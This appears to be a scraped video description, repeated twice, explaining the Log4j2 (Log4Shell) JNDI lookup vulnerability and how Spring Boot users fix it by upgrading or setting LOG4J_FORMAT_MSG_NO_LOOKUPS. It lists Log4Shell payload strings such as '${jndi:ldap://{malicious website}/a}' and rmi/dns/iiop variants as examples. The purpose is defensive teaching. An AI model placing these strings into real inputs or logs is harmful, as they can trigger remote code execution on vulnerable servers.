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Spring boot log4j2 fix | log4j2 vulnerability | springboot with log4j2v2.16.0 | okay java
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Spring boot log4j2 fix | log4j2 vulnerability | springboot with log4j2v2.16.0 | okay java
download the source code
What is Log4j2 VUNERABILITY or 0 day vulnerability?
what is JNDI – Look up ?
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.. database/Ldap server etc
Attackers can use the JNDI look up to install any exe file or run a shell script on your production server.
${jndi:ldap://{malicious website}/a}
${jndi:ldap:/}${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}
Affected versions??
Log4j1.x - safe and secure :)
Apache Log4j 2.x to 2.15.0 :(
How to FIX/Mitigation ?
Log4j1.x - safe and secure :)
No action required…. Cheers !!
Apache Log4j 2.x to 2.15.0 ??
Java 8 (or later) users should upgrade to release 2.16.0.
Java 7 should upgrade to release 2.12.2 when it becomes available (WIP)
For gt;=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
Read more about the security vulnerability
JIRA ticket
subscribe okayjava..thank you
download the source code
What is Log4j2 VUNERABILITY or 0 day vulnerability?
what is JNDI – Look up ?
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.. database/Ldap server etc
Attackers can use the JNDI look up to install any exe file or run a shell script on your production server.
${jndi:ldap://{malicious website}/a}
${jndi:ldap:/}${jndi:ldaps:/}
${jndi:rmi:/}
${jndi:dns:/}
${jndi:iiop:/}
Affected versions??
Log4j1.x - safe and secure :)
Apache Log4j 2.x to 2.15.0 :(
How to FIX/Mitigation ?
Log4j1.x - safe and secure :)
No action required…. Cheers !!
Apache Log4j 2.x to 2.15.0 ??
Java 8 (or later) users should upgrade to release 2.16.0.
Java 7 should upgrade to release 2.12.2 when it becomes available (WIP)
For gt;=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
Read more about the security vulnerability
JIRA ticket
subscribe okayjava..thank you
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